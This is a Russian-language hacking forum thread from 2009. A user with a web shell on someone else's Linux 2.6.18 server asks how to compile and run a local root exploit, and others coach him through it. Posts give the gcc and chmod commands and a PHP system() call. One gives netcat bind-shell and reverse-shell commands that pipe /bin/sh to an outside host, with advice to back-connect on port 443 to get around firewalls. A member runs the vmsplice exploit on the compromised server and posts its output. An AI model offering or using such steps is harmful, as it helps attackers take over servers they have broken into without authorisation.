Linux Kernel 2.6.18 vS Exploit

Discussion in 'Уязвимости' started by mailbrush, 18 May 2009.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Есть у меня веб-шелл на серваке Linux Kernel 2.6.18 и сплоит под него - http://www.milw0rm.com/exploits/5092. Со сплоитами никогда не работал, поэтому задаю такой вопрос - как его откомпилить, имея только веб-шелл (права на запись есс-но есть, но только в текущей директории)?
     
  2. serfertty

    serfertty Guest

    Reputations:
    0
    Попробуй
    Code:
    gcc -o sploit sploit.c; chmod +x sploit;./sploit
    
    НУ или
    Code:
    gcc -o sploit sploit.c; chmod 777 sploit;./sploit
    
    ну или без chmod
    Code:
    gcc -o sploit sploit.c;./sploit
    
    А вообще в интернете много статей.
     
    #2 serfertty, 18 May 2009
    Last edited by a moderator: 18 May 2009
    1 person likes this.
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Я видел на хакере точно такой же, только там $ был спереди, поэтому ничего не работало. Сейчас попробую.
     
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    тебе как минимум надо получить нормальный шелл
     
    1 person likes this.
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    У меня Веб-Шелл, а не SSH доступ, и gcc почему-то там не пашет. Я юзаю в eval()
    PHP:
    system('gcc -o exploit exploit.c;');
    PS: в линухе я полный 0
     
  6. serfertty

    serfertty Guest

    Reputations:
    0
    Нужно сделать бекконнект или забиндить порт.
    П.С. Или нет?=\
     
  7. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    это чувствуется)
    $ перед командой - это пояснение, что команды выполняются с правами обычного пользователя. # - с правами рута.
    забинди порт или сделай бек-конект.
    что выведет which gcc?
     
    2 people like this.
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    which gcc cc cpp

    бинди порт, например неткатом
    nc -l -p 31337 -e /bin/sh &

    потом у себя неткатом
    nc -v www.site.com 31337

    Если тебе очень повезло и фаер не блочит соединения тебя поприветствует оболчка шелла

    В ином случае делай бекконект
    у себя на дедике открываешь порт
    nc -l -p 31337

    на сервер который собираешься рутать
    nc -v www.dedik.com 31337 -e /bin/sh &

    Удачи =)
     
    1 person likes this.
  9. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Нет факт что:
    -- на хосте присутсвует gcc(мало вероятно);
    -- что у твоего блайнда хватит прав на доступ к gcc(более вероятно, как правило nobody и etc);
    Скомпиль на локальной машине, скопирую(выстави права по необходимости) и запускай(не фактов тоже много).
     
  10. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    AkyHa_MaTaTa, уж если ему не хватит прав на gcc, то ещё более вероятно что там noexec ;)
     
  11. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Эх вы, "линуксоиды", мне до вас еще далеко... Надо читать, читать и еще раз читать, а лутше - самому линуху установить... Смотрите ПМ :)
     
  12. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Сначала пусть нормальный шелл или срипт бекконекта найдет, без всего этого шансов точно ноль
     
  13. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    бекконект на порт 443, который предварительно освобождается на дедике(остановка службы https\SSL), проходит в 90% случаев..а дальше тебе уже понаписали.
    зы: если ядро до 2008г, то шансы на рут есть,в противном случае - уменьшаются в геометрической прогрессии...
     
    1 person likes this.
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Мне уже юзер oRb объяснил, что сплоит не подходит под этот двиг, хотя в uname -a именно эта версия. Спасибо всем за ответы.
     
    1 person likes this.
  15. pampom

    pampom Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    нужена оболочка с поддежкой псевдо терминала.
     
  16. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    ещё как подходит!

    https://forum.antichat.ru/showthread.php?t=30711

    http://forum.xakep.ru/m_1073063/tm.htm
     
  17. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    ядро 2.6.18 должно сдаться vmsplice-exploit. А компилится оно так
    $ gcc -static -Wno-format -o vmsplice vmsplice.c
     
  18. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    mailbrush дал мне свой шелл.
    gcc там нет, поэтому сплойт собрал на другой тачке. Скачал, сменил чмод и запустил:
    Code:
    sh-3.2$ ./sp
    -----------------------------------
     Linux vmsplice Local Root Exploit
     By qaaz
    -----------------------------------
    [-] mmap: Permission denied
    sh-3.2$ uname -a
    Linux ************** 2.6.18-92.1.22.el5PAE #1 SMP Tue Dec 16 12:36:25 EST 2008 i686 i686 i386 GNU/Linux
    видимо ядро патченное.
     
  19. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    не судьба =)
     
  20. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    По практике могу сказать что сплоент пробивает версии выпущенные ранее 12-14 февраля 2008.
     
    2 people like this.
Thread Status:
Not open for further replies.